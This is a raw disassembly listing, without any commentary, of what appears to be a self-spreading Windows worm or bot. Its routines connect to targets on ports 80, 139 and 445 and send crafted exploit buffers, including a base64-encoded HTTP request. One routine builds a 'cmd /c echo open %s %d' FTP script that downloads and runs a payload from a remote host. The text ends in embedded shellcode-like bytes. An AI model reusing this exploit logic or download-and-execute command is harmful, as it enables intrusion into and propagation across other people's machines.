[ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CDC push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D0C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C54 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D18 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D64[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F10 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DA8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h nop call near ptr 2670000h loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321C8 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26E0000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 78h ; x db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0BCh ; ¼ db 0D4h ; Ô db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A8h ; ¨ db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 44h ; D db 22h ; " db 43h ; C db 0 db 